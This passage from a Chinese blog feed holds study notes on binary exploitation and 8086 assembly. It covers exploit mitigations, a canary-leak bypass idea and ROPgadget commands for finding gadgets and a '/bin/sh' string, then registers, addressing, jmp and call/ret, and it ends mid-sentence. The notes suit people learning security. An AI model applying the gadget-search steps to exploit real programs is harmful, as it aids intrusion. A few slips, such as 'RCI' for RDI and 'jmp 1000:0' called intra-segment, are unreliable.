title="Protection"></a>Protection</h2><p>·一般pwn题会有保护措施如：ASLR,DEP,PIE,StackGuard</p><p><strong>·ASLR</strong><br>地址随机化<br>每次执行时，stack、heap、library位置都不一样<br>检查是否开启ASLR：<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat /proc/sys/kernel/randomize_va_space</span><br></pre></td></tr></table></figure></p><p><strong>·DEP</strong><br>数据执行保护，又称NX<br>可写的不可以执行，可执行的不可写</p><p><strong>·PIE</strong><br>地址无关可执行文件<br>    gcc在默认情况下没有开启，编译时加上-fPIC-pie就可以开启<br>    没开启的情况下程序的data段以及code段会是固定的<br>    一旦开启之后data以及code也会跟着ASLR，因此前面说的ret2text/shellcode没有固定的位置可以跳，就变得困难很多。</p><p><strong>·Stack Guard</strong><br>编译器对stack overflow的一种保护机制<br>在函数被调用的时候，先在stack上放canary<br>函数返回前先检查这个值有没有被修改<br>可以有效地防止缓冲区溢出攻击<br><img src="/2018/09/12/pwn/stack.png" class=""><br>如图我们可以看到，在栈中EBP上面有一个canary栈溢出保护，程序在执行返回地址时，会先检查canary的值是否变化，所以若是有栈溢出攻击就会被识别。<br>因此要绕过Stack Guard保护，可以先把Canary的值提取出来，在栈溢出攻击时保持canary的值不变，由此实现栈溢出</p><h3 id="DEP-NX"><a href="#DEP-NX" class="headerlink" title="DEP(NX)"></a>DEP(NX)</h3><p>1）<code>ROPgadget --binary ./filename       //查找文件中的‘pop eax(ebx)(ecx)(edx) ; ret’   ROPgadget --binary filename --opcode cd80c3   ROPgadget --binary rop  --only &#39;int&#39;   cd80c3                              //int 0x80;ret   ROPgadget --binary ./filename  --only &#39;pop|ret&#39; | grep &#39;eax&#39; //只查找‘pop eax ; ret’   ROPgadget --binary rop  --string &#39;/bin/sh&#39;   //查找文件里是否有/bin/sh</code></p><h1 id="留坑待填"><a href="#留坑待填" class="headerlink" title="留坑待填"></a>留坑待填</h1>]]></content>
    
    
    <summary type="html">&lt;center&gt;pwn学习笔记&lt;/center&gt;</summary>
    
    
    
    <category term="pwn" scheme="http://askylin.top/categories/pwn/"/>
    
    
    <category term="pwn" scheme="http://askylin.top/tags/pwn/"/>
    
    <category term="assembly language" scheme="http://askylin.top/tags/assembly-language/"/>
    
  </entry>
  
  <entry>
    <title>Assembly language</title>
    <link href="http://askylin.top/2018/09/03/Assembly-language/"/>
    <id>http://askylin.top/2018/09/03/Assembly-language/</id>
    <published>2018-09-03T11:18:35.000Z</published>
    <updated>2021-09-20T13:17:53.500Z</updated>
    
    <content type="html"><![CDATA[<hr><h1 id="基础知识"><a href="#基础知识" class="headerlink" title="基础知识"></a>基础知识</h1><p><strong>·汇编语言的组成（3类指令）</strong></p><p>1）汇编指令：有对应的机器码。<br>2）伪指令：没有对应的机器码，由编译器执行。<br>3）其他符号：如+、-、*、/等，没有对应的机器码，由编译器执行。</p><p><strong>·CPU对存储器的读写</strong></p><p>与芯片进行3类信息的交互：<br>1）存储单元地址。<br>2）器件选择，读或写命令。<br>3）读或写的数据。</p><p><strong>·外部总线</strong></p><p>1）地址总线：N根地址线可以选找2的N次方个内存单元（一个内存单元1byte）。<br>2）数据总线：宽度为8k的总线一次能传送 k Btye的数据。<br>3）控制总线：宽度决定CPU对外部期间的控制能力。</p><p><strong>·存储器芯片</strong></p><p>1）随机存储（RAM）：可读可写，关机数据丢失。<br>2）只读存储（ROM）：只读，关机数据不丢失。</p><hr><h1 id="寄存器"><a href="#寄存器" class="headerlink" title="寄存器"></a>寄存器</h1><p><strong>·Registers Architecture(寄存器结构)</strong></p><style>table th:first-of-type {    width: 40px;}</style> <div class="table-container"><table><thead><tr><th>register</th><th style="text-align:center">Accumulator</th><th>Counter</th><th>Data</th><th>Base</th><th>Stack Pointer</th><th>Stack Base Pointer</th><th>Source</th><th>Destination</th></tr></thead><tbody><tr><td>64-bit</td><td style="text-align:center">RAX</td><td>RCX</td><td>RDX</td><td>RBX</td><td>RSP</td><td>RBP</td><td>RSI</td><td>RCI</td></tr><tr><td>32-bit</td><td style="text-align:center">EAX</td><td>ECX</td><td>EDX</td><td>EBX</td><td>ESP</td><td>EBP</td><td>ESI</td><td>EDI      </td></tr><tr><td>16-bit</td><td style="text-align:center">AX</td><td>CX</td><td>DX</td><td>BX</td><td>SP</td><td>BP</td><td>SI</td><td>DI</td></tr><tr><td> 8-bit</td><td style="text-align:center">AH/AL</td><td>CH/CL</td><td>DH/DL</td><td>BH/BL</td></tr></tbody></table></div><p><strong>·通用寄存器</strong></p><p>1）AX BX CX DX 这四个寄存器存放一般性数据。<br>2）这四个通用寄存器都可以分为两个八位寄存器使用（参见上表16-bit和8-bit）<br>   其中，低八位构成AL，高八位构成AH。</p><p><strong>·几条汇编指令</strong></p><p>1）汇编指令举例</p><style>table th:first-of-type {    width: 100px;}table th:nth-of-type(2) {    width: 100px;}</style> <div class="table-container"><table><thead><tr><th>汇编指令</th><th style="text-align:center">控制CPU完成的操作</th></tr></thead><tbody><tr><td>mov ax,18</td><td style="text-align:center">AX=18</td></tr><tr><td>mov ah,78</td><td style="text-align:center">AH=78</td></tr><tr><td>mov al,8</td><td style="text-align:center">AL=8</td></tr><tr><td>add ax,9</td><td style="text-align:center">AX+=9</td></tr><tr><td>mov ax,bx</td><td style="text-align:center">AX=BX</td></tr><tr><td>mov al,bh</td><td style="text-align:center">AL=BH</td></tr><tr><td>add ax,bx</td><td style="text-align:center">AX+=BX</td></tr><tr><td>add bh,al</td><td style="text-align:center">BH+=AL</td></tr></tbody></table></div><p>2）注意事项：<br>   16位寄存器中，若是数据值相加超过4位十六进制的数据，则只保存低四位的十六进制数据。<br>   当16位寄存器被用作两个八位寄存器时，若寄存器数据值超过两位十六进制的数据，则只保存低二位的十六进制数据（若是AL寄存器中数据超过内存，高位不是真的被CPU丢失）<br>   指令的两个操作对象的位数应该一致，而：<br>    <figure class="highlight avrasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">mov</span> ax,bl</span><br><span class="line"><span class="keyword">mov</span> bh,ax</span><br><span class="line"><span class="keyword">mov</span> al,<span class="number">2000</span>（超出范围）</span><br><span class="line"><span class="keyword">add</span> al,<span class="number">100</span>H（超出范围）</span><br></pre></td></tr></table></figure><br>   都是错误的指令。</p><p><strong>·8086CPU给出物理地址的方法</strong></p><p>1）地址加法器采用<strong>物理地址 = 段地址x16 + 偏移地址</strong>的方法（地址数据用16进制表示）。<br>2）基础地址 = 段地址 x 16。<br>3）“段地址x16”实际上表示16进制数左移一位（即二进制数左移4位）。</p><p><strong>·段地址</strong></p><p>1）“段地址”划分来自CPU，不是内存本身分段。<br>2）CPU可以用不同的段地址和偏移地址形成同一个物理地址。<br>3）给定段地址，仅用偏移地址寻址最多可寻64KB个内存单元。</p><p><strong>·段寄存器</strong></p><p>1）8086CPU有四个段寄存器：CS、DS、SS、ES。<br>2）CS：代码段寄存器（段地址），IP：指令指针寄存器（偏移地址）。<br>3）<img src="/2018/09/03/Assembly-language/8086PC%E8%AF%BB%E5%8F%96%E6%89%A7%E8%A1%8C%E6%8C%87%E4%BB%A4%E5%85%B3%E9%94%AE%E9%83%A8%E4%BB%B6.png" class="" title="8086PC读取和执行指令的相关部件"><br>4）8086CPU工作过程：<br>   从CS:IP之乡的内存单元读取指令，指令进入指令缓冲区；<br>   IP = IP + 所读取的指令长度，从而指向下一条指令；<br>   执行指令。重复以上过程。<br>5）CPU只认被CS:IP指向的内存单元的内容为指令。</p><p><strong>·修改CS、IP的指令</strong></p><p>1）同时修改CS、IP的内容：“jmp 段地址：偏移地址”；<br>2）只修改IP的内容：“jmp 某一合法寄存器”（用寄存器里的值修改IP，eg: jmp ax）。</p><hr><h1 id="寄存器（内存访问）"><a href="#寄存器（内存访问）" class="headerlink" title="寄存器（内存访问）"></a>寄存器（内存访问）</h1><p><strong>·DS和[address]</strong></p><p>1）DS段寄存器通常来存放要访问的数据的段地址。<br>2）“[]”表示ds中的数据为内存单元的段地址，“[address]”中的“address”表示偏移地址。<br>3）假设读取10000H单元的内容（字节型数据的传送）：<br><figure class="highlight avrasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">mov</span> bx,<span class="number">1000</span>H</span><br><span class="line"><span class="keyword">mov</span> ds,bx</span><br><span class="line"><span class="keyword">mov</span> al,[<span class="number">0</span>]（使用<span class="keyword">mov</span>指令将一个内存单元中的(<span class="number">8</span>位)字节数据送入一个<span class="number">8</span>位寄存器中）</span><br><span class="line">ds是段寄存器，不能直接传入<span class="number">1000</span>H，只能用一个寄存器来进行中转。</span><br></pre></td></tr></table></figure><br>4）字的传送：<br>   eg:<br>   <figure class="highlight avrasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">mov</span> bx,<span class="number">1000</span>H</span><br><span class="line"><span class="keyword">mov</span> ds,bx</span><br><span class="line"><span class="keyword">mov</span> ax,[<span class="number">0</span>]      <span class="comment">;1000：0处的(16位)字型数据送入ax</span></span><br><span class="line"><span class="keyword">mov</span> [<span class="number">0</span>],cx      <span class="comment">;将cx中的(16位)字数据传送到1000：0处</span></span><br></pre></td></tr></table></figure></p><p><strong>·mov、add、sub指令</strong></p><p>1）这三个指令都带有两个操作对象。<br>2）以mov为例，mov、add、sub指令可以有以下几种形式：<br>   <strong>mov 寄存器，数据<br>   mov 寄存器，寄存器<br>   mov 寄存器，内存单元<br>   mov 内存单元，寄存器</strong><br>4）但是mov还存在以下四种形式：<br>   mov 段寄存器，寄存器<br>   mov 寄存器，段寄存器<br>   mov 内存单元，段寄存器<br>   mov 段寄存器，内存单元<br>5）add，sub指令不能对段寄存器进行操作。</p><p><strong>·栈</strong></p><p>1）栈是一种具有特殊访问方式的存储空间：最后进入这个空间的数据，最先出去（LIFO）。<br>2）入栈（push）和出栈（pop）都是以字为单位进行的。<br>3）<img src="/2018/09/03/Assembly-language/push%E5%92%8Cpop.png" class=""><br>4）段寄存器SS：存放栈顶的段地址；寄存器SP：存放栈顶的偏移地址；<strong>任意时刻，SS:SP指向栈顶元素</strong>。<br>5）栈空，SS:SP指向栈空间最高地址单元的下一个单元。<br>6）一个数据出栈后，该地址单元的数据依然存在，只是不在栈中，当下次有数据入栈时，它将被覆盖。<br>7）8086CPU不保证对栈操作是否超界，栈顶超界将会覆盖栈外数据。</p><p><strong>·push和pop指令</strong></p><p>1）push指令和pop指令格式有如下形式（以push为例）：<br>   push 寄存器<br>   push 段寄存器<br>   push 内存单元<br>2）push指令执行步骤：（1）SP=SP-2；（2）向SS:SP指向的字单元送入数据。<br>3）pop指令执行步骤：（1）从SS:SP指向的字单元读取数据（2）SP=SP+2。<br>4）push和pop指令中修改的只是SP，所以栈顶的变化范围最大为：0-FFFFH。</p><p><strong>·段的综述</strong></p><p>1）将一段连续的内存定义为一个段，用段地址指示段，偏移地址访问段内单元，数据段、代码段、栈段都是我们自己定义的。<br>2）数据段：段地址存放在DS中，用mov,add,sub等访问内存单元的指令时，CPU数据段的内容当作数据访问。<br>3）代码段：段地址存放在CS中，段中第一条指令的偏移地址放在IP中，CPU就执行代码段中的指令。<br>4）栈段：段地址存放在SS中，栈顶单元的偏移地址放在SP中，CPU执行栈操作时将我们定义的栈段当作占空间来用。<br>5）同一段内存，同时可以是代码段、栈段和数据段，也可以什么都不是，关键在于CS、IP、SS、SP、DS的指向。</p><hr><h1 id="初识汇编程序"><a href="#初识汇编程序" class="headerlink" title="初识汇编程序"></a>初识汇编程序</h1><p><strong>·3个伪指令</strong></p><p>1）segment和ends伪指令：这是一对成对使用的伪指令，作用是定义一个段，其格式为：<br>   <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">段名 segment    ；段从此处开始</span><br><span class="line">    :</span><br><span class="line">段名 ends       ；段到此处结束</span><br></pre></td></tr></table></figure><br>2）程序是由多个段组成的，指令、数据、栈被划分到了不同的段中。<br>3）end：汇编程序结束标记。<br>4）assume：假设某一段寄存器和程序中的某一个用segment…ends定义的段相关联，例如：<br>   assume cs: 代码段的名字 将一个代码段和CS寄存器联系起来。</p><p><strong>·程序返回</strong></p><p>1）指令：<br>   mov ax,4c00H<br>   int 21H</p><hr><h1 id="BX-和loop指令"><a href="#BX-和loop指令" class="headerlink" title="[BX]和loop指令"></a>[BX]和loop指令</h1><p><strong>·约定两个符号</strong></p><p>1）“（ ）”：表示一个寄存器或者内存单元里的内容。<br>2）“idata”：表示常量。</p><p><strong>·[BX]</strong></p><p>1）同[0]一样，[bx]也表示一个内存单元，只是它的偏移地址在bx中。<br>2）bx中存放的数据作为一个偏移地址EA，段地址SA默认在ds中。</p><p><strong>·Loop指令</strong></p><p>1）loop指令格式：loop 标号；<strong>通常</strong>用loop指令来实现循环功能，cx中存放循环次数。<br>2）eg:<br>   <figure class="highlight avrasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">   <span class="keyword">mov</span> ax,<span class="number">2</span></span><br><span class="line">   <span class="keyword">mov</span> cx,<span class="number">11</span></span><br><span class="line"><span class="symbol">s:</span> <span class="keyword">add</span> ax,ax</span><br><span class="line">   loop s</span><br><span class="line">   <span class="keyword">mov</span> ax,<span class="number">4</span>c00h</span><br><span class="line">   int <span class="number">21</span>h</span><br></pre></td></tr></table></figure><br>3）标号代表一个地址，如上例s标识了一个地址，这个地址处有一条指令：add ax,ax.<br>4）CPU执行 loop s 的时候，进行两步操作：<br>   （1）（cx）=（cx）- 1<br>   （2）判断cx中的值，不为0则转至标号s所标识的地址处执行，如果为零则执行下一条指令。</p><p><strong>·汇编程序中的一些小变动</strong></p><p>1）用一个长度位1字节地内存单元向16位寄存器赋值（如把ffff:0006单元给ax赋值），则应该另令(ah)=0,(al)=(ffff6H)。<br>2）在汇编程序中，数据不能以字母开头，例如代码中mov ax,0ffffh，不能写成mov ax,ffffh。<br>3）汇编程序中，指令“mov ax,[0]”被当作“mov ax,0”处理，因此有如下两种方法实现将内存单元中的数据送入寄存器（举例说明）：<br>   <figure class="highlight avrasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">mov</span> al,ds:[<span class="number">0</span>]</span><br><span class="line"><span class="keyword">mov</span> al,[bx]</span><br><span class="line"><span class="keyword">mov</span> al,ds:[bx]</span><br></pre></td></tr></table></figure></p><p><strong>·段前缀</strong></p><p>1）出现在访问内存单元的指令中，用于显式地指明内存单元的段地址，形如“mov al,ds:[bx]”，在汇编语言中称为段前缀。<br>2）将一段内存单元的数据复制到另一段单元中，显式使用段前缀，可以提高程序效率。</p><hr><h1 id="包含多个段的程序"><a href="#包含多个段的程序" class="headerlink" title="包含多个段的程序"></a>包含多个段的程序</h1><p><strong>·在代码段中使用数据</strong></p><p>1）end的另一作用：指明编译器程序入口，用法：end 标号<br>2）在代码段中使用数据可以使用如下程序框架：<br>   <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">assume cs:code</span><br><span class="line">code segment</span><br><span class="line">        :</span><br><span class="line">        :</span><br><span class="line">        数据</span><br><span class="line">        :</span><br><span class="line">        :</span><br><span class="line">start:</span><br><span class="line">        :</span><br><span class="line">        :</span><br><span class="line">        代码</span><br><span class="line">        :</span><br><span class="line">        :</span><br><span class="line">code ends</span><br><span class="line">end start</span><br></pre></td></tr></table></figure><br>   来指明CPU从何处开始执行程序。</p><p><strong>·在代码段中使用栈</strong></p><p>1）在代码段中使用栈挥着数据实质上都是开辟空间。<br>2）在代码段中使用栈可以使用如下程序框架：<br>   <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">assume cs:code</span><br><span class="line">code segment</span><br><span class="line">        :</span><br><span class="line">        :</span><br><span class="line">        数据</span><br><span class="line">        栈空间</span><br><span class="line">        :</span><br><span class="line">        :</span><br><span class="line">start:</span><br><span class="line">        :</span><br><span class="line">        :</span><br><span class="line">        代码</span><br><span class="line">        :</span><br><span class="line">        :</span><br><span class="line">code ends</span><br><span class="line">end start</span><br></pre></td></tr></table></figure><br>   来指明CPU从何处开始执行程序。</p><p><strong>·将数据、代码、栈放入不同的段</strong></p><p>1）定义多个段。eg：<br>   <figure class="highlight avrasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">assume cs:code,ds:data,ss:stack</span><br></pre></td></tr></table></figure><br>2）对段地址的引用：段名就相当于标号，它代表了段地址。eg:<br>   <figure class="highlight avrasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">mov</span> ax,data <span class="comment">;将名称为“data”的段地址送入ax。</span></span><br></pre></td></tr></table></figure><br>3）<img src="/2018/09/03/Assembly-language/%E5%A4%9A%E4%B8%AA%E6%AE%B5%E4%B8%BE%E4%BE%8B.png" class="" title="举例"></p><hr><h1 id="更灵活的定位内存地址的方法"><a href="#更灵活的定位内存地址的方法" class="headerlink" title="更灵活的定位内存地址的方法"></a>更灵活的定位内存地址的方法</h1><p><strong>·and和or指令</strong></p><p>1）and指令：逻辑与指令，按位进行与运算。该指令可以将操作对象的相应位设为0，其他位不变。<br>2）or指令：逻辑或指令，按位进行或运算。该指令可以将操作对象的相应位设为1，其他未不变。<br>3）eg:<br>   <figure class="highlight avrasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">mov</span> al,<span class="number">01100011</span>B</span><br><span class="line"><span class="keyword">and</span> al,<span class="number">00111011</span>B    执行后al=<span class="number">00100011</span>B</span><br><span class="line"></span><br><span class="line"><span class="keyword">mov</span> al,<span class="number">01100011</span>B</span><br><span class="line"><span class="keyword">or</span>  al,<span class="number">00111011</span>B    执行后al=<span class="number">01111011</span>B</span><br></pre></td></tr></table></figure></p><p><strong>·以字符形式给出的数据</strong></p><p>1）用’……’的方式指明数据是以字符的形式给出的，编译器将其转化为ASCII码。<br>2）eg:<br>   <figure class="highlight avrasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">db <span class="string">&#x27;unIX&#x27;     ；相当于“db 75H,6EH,49H,58H”</span></span><br><span class="line"><span class="string">mov al,&#x27;a&#x27;    ；相当于“mov al,61H”</span></span><br></pre></td></tr></table></figure></p><p><strong>·大小写转换问题</strong></p><p>1）除了大写字母=小写字母-20H外，可以用and 11011111B将小写转换为大写字母。<br>2）可用or 01100000B将大写转换为小写字母。</p><p><strong>·[bx+idata]</strong></p><p>1）[bx+idata]表示一个偏移地址为(bx)+idata的内存单元。<br>2）常用格式：<br>   <figure class="highlight avrasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">mov</span> ax,[bx+idata]</span><br><span class="line"><span class="keyword">mov</span> ax,[idata+bx]</span><br><span class="line"><span class="keyword">mov</span> ax,idata[bx]</span><br><span class="line"><span class="keyword">mov</span> ax,[bx].idata</span><br></pre></td></tr></table></figure><br>3）[bx+idata]的方式处理数组更加便利。与C语言比较：<br>   C语言：a[i],b[i]<br>   汇编语言：0[bx],5[bx]</p><p><strong>·SI和DI</strong></p><p>1）si和di是8086CPU中和bx功能相近的寄存器，si和di不能分成两个8位寄存器来使用。<br>2）复制字符串汇编程序举例：<br>   <img src="/2018/09/03/Assembly-language/sidi%E4%B8%BE%E4%BE%8B1.png" class=""><br>   <img src="/2018/09/03/Assembly-language/sidi%E4%B8%BE%E4%BE%8B2.png" class=""></p><p><strong>·[bx+si]和[bx+di]</strong></p><p>1）[bx+si]和[bx+di]含义相似，以[bx+si]为例，其表示一个偏移地址位(bx)+(si)的内存单元。</p><p><strong>·[bx+si+idata]和[bx+di+idata]</strong></p><p>1）[bx+si+idata]和[bx+di+idata]含义相似，以[bx+si+idata]为例，其表示一个偏移地址位(bx)+(si)+idata的内存单元。<br>2）常用格式：<br>   <figure class="highlight avrasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">mov</span> ax,[bx+idata+si]</span><br><span class="line"><span class="keyword">mov</span> ax,[idata+bx+si]</span><br><span class="line"><span class="keyword">mov</span> ax,idata[bx][si]</span><br><span class="line"><span class="keyword">mov</span> ax,[bx].idata[si]</span><br><span class="line"><span class="keyword">mov</span> ax,[bx][si]<span class="number">.200</span></span><br></pre></td></tr></table></figure></p><hr><h1 id="数据的位置和长度"><a href="#数据的位置和长度" class="headerlink" title="数据的位置和长度"></a>数据的位置和长度</h1><p><strong>·约定两个描述性符号</strong></p><p>1）reg：寄存器<br>2）sreg：段寄存器</p><p><strong>·bx、si、di、bp</strong></p><p>1）在8086CPU中只有这四个寄存器可以用在“[…]”中来进行内存单元的寻址。<br>2）在“[…]”中，这四个寄存器可以单个出现，或只能以4种组合出现：bx和si、bx和di、bp和si、bp和di。<br>3）在“[…]”中使用寄存器bp，且指令中没有显性地给出段地址，则段地址默认在ss中。</p><p><strong>·寻址方式</strong></p><p>1）<img src="/2018/09/03/Assembly-language/%E5%AF%BB%E5%9D%80%E6%96%B9%E5%BC%8F.png" class="" title="寻址方式小结"></p><p><strong>·数据的长度</strong></p><p>1）通过寄存器名指明处理数据的尺寸。<br>   eg:<br>   <figure class="highlight avrasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">mov</span> ax <span class="number">1</span>  <span class="comment">;字操作</span></span><br><span class="line">mox al,bl <span class="comment">;字节操作</span></span><br></pre></td></tr></table></figure><br>2）在没有寄存器名存在的情况下，用操作符X ptr指明内存单元的长度，X在汇编指令中可以为word或byte。<br>   eg:<br>   <figure class="highlight avrasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">mov</span> word ptr ds:[<span class="number">0</span>],<span class="number">1</span>   <span class="comment">;指明指令访问的内存单元是一个字单元</span></span><br><span class="line"><span class="keyword">add</span> byte ptr [bx],<span class="number">2</span>     <span class="comment">;指明指令访问的内存单元是一个字节单元</span></span><br></pre></td></tr></table></figure></p><p><strong>·div指令</strong></p><p>1）div是除法指令。需要注意以下问题：<br>（1）除数：有8位和16位两种，在一个reg或内存单元中；<br>（2）被除数：默认放在AX或DX和AX中，除数为8位，被除数则为16位，默认在AX中存放；除数为16位，被除数则为32位，DX存放高16位，AX存放低16位。<br>（3）除数为8位，AL存储商，AH存储余数；除数为16位，AX存储商，DX存储余数。<br>2）格式：div reg或者div 内存单元。</p><p><strong>·伪指令db、dw、dd</strong></p><p>1）db: define btye<br>2）dw: define word<br>3）dd: define double word（双字型数据，占两个字）</p><p><strong>·dup</strong></p><p>1）dup操作符的作用：进行数据重复。<br>2）用法：<br>   db 3 dup (0)      ;定义了三个值都是0字节<br>   db 3 dup (0,1,2)  ;定义了九个字节，他们是0、1、2、0、1、2、0、1、2</p><hr><h1 id="转移指令的原理"><a href="#转移指令的原理" class="headerlink" title="转移指令的原理"></a>转移指令的原理</h1><p><strong>·转移指令</strong></p><p>1）可以修改IP，或同时修改CS、IP的指令统称为转移指令。即控制CPU执行内存中某处代码的指令。<br>2）段内转移：只修改IP，比如：jmp 1000:0。<br>3）段内转移分为短转移（IP的修改范围为-128~127）、近转移（IP的修改范围为-32768~32767）。<br>4）8086CPU的转移指令分为如下几类：<br>   无条件指令转移（如：jmp）<br>   条件转移指令<br>   循环指令（如：loop）<br>   过程<br>   中断</p><p><strong>·操作符offset</strong></p><p>1）offset是由编译器处理的符号，功能是取得标号的偏移地址。<br>2）<img src="/2018/09/03/Assembly-language/offset.png" class="" title="offset用法"></p><p><strong>·依据位移指令进行转移的jmp指令</strong></p><p>1）jmp short 标号（段内短转移，转到标号处执行指令）实现功能是：(IP)=(IP)+8位位移。<br>2）CPU在执行jmp指令的时候并不需要转移目的地址，而是包含转移的位移。<br>3）<img src="/2018/09/03/Assembly-language/%E8%BD%AC%E7%A7%BB%E4%BD%8D%E7%A7%BB%E7%9A%84%E8%AE%A1%E7%AE%97%E6%96%B9%E6%B3%95.png" class="" title="转移位移的计算方法"><br>4）jmp near ptr 标号（段内近转移）实现功能是：(IP)=(IP)+16位位移。</p><p><strong>·转移的目的地址在指令中的jmp指令</strong></p><p>1）“jmp far ptr 标号”实现段间转移，far ptr指明了指令用标号的段地址和偏移地址修改CS和IP。</p><p><strong>·转移地址在寄存器中的jmp指令</strong></p><p>1）指令格式：jmp 16位reg，功能：(IP)=(16位reg)。eg: jmp ax。</p><p><strong>·转移地址在内存中的jmp指令</strong></p><p>1）jmp word ptr 内存单元地址（段内转移）<br>   功能：从内存单元地址处开始存放一个字，是转移的目的偏移地址。eg：jmp word ptr ds:[0]<br>2）jmp dword ptr 内存单元地址（段间转移）<br>   功能：从内存单元地址处开始存放两个字，高地址处的字是转移的目的段地址，低地址处是转移的目的偏移地址。<br>   eg：jmp dword ptr ds:[0]</p><p><strong>·jcxz指令</strong></p><p>1）jcxz指令为有条件转移指令，所有的有条件转移指令都是短转移。<br>2）“jcxz 标号”的功能相当于：if((cx)==0) jmp short 标号。（判断语句）</p><p><strong>·loop指令</strong></p><p>1）所有的循环指令都是短转移。<br>2）“loop 标号”的功能相当于：(cx)—; if((cx)!=0) jmp short 标号（do while循环）</p><p><strong>·注意</strong></p><p>1）在之前jmp指令中，“jmp 2000：0100”的转移指令，是在Debug中使用汇编指令，汇编编译器并不认识。</p><hr><h1 id="CALL和RET指令"><a href="#CALL和RET指令" class="headerlink" title="CALL和RET指令"></a>CALL和RET指令</h1><p><strong>·ret和retf</strong></p><p>1）ret指令用栈中的数据，修改IP的内容，实现近转移；ret指令实现下面两步操作：<br>    <figure class="highlight avrasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">(IP)=((ss)*<span class="number">16</span>+(sp))</span><br><span class="line">(sp)=(sp)+<span class="number">2</span> </span><br></pre></td></tr></table></figure><br>   相当于进行：pop IP</p><p>2）retf指令用栈中的数据，修改CS和IP的内容，实现远转移；retf指令实现4步操作：<br>    <figure class="highlight avrasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">(IP)=((ss)*<span class="number">16</span>+(sp))</span><br><span class="line">(sp)=(sp)+<span class="number">2</span></span><br><span class="line">(CS)=((ss)*<span class="number">16</span>+(sp))</span><br><span class="line">(sp)=(sp)+<span class="number">2</span></span><br></pre></td></tr></table></figure><br>   相当于进行：pop IP pop CS</p><p><strong>·call指令</strong></p><p>1）执行call指令时，先将当前IP或CS和IP压入栈中，再进行转移。<br>2）call指令不能实现短转移。</p><p><strong>·根据位移进行转移的call指令</strong></p><p>1）call 标号（将当前的IP压栈后，转到标号处执行指令）。<br>2）CPU执行“call 标号”时，相当于进行：<br>   <figure class="highlight avrasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">push</span> IP</span><br><span class="line"><span class="keyword">jmp</span> near ptr 标号</span><br></pre></td></tr></table></figure></p><p><strong>·转移的目的地址在指令中的call指令</strong></p><p>1）call far ptr 标号（实现段间转移）。<br>2）CPU执行“call far ptr 标号”时，相当于进行：<br>   <figure class="highlight avrasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">push</span> CS</span><br><span class="line"><span class="keyword">push</span> IP</span><br><span class="line"><span class="keyword">jmp</span> far ptr 标号</span><br></pre></td></tr></table></figure></p><p><strong>·转移地址在寄存器中的call指令</strong></p><p>1）call 16位reg。<br>2）CPU执行“call 16位reg”时，相当于进行：<br>   <figure class="highlight avrasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">push</span> IP</span><br><span class="line"><span class="keyword">jmp</span> <span class="number">16</span>位reg</span><br></pre></td></tr></table></figure></p><p><strong>·转移地址在内存中的call指令</strong></p><p>1）call word ptr 内存单元地址<br>2）CPU执行“call word ptr 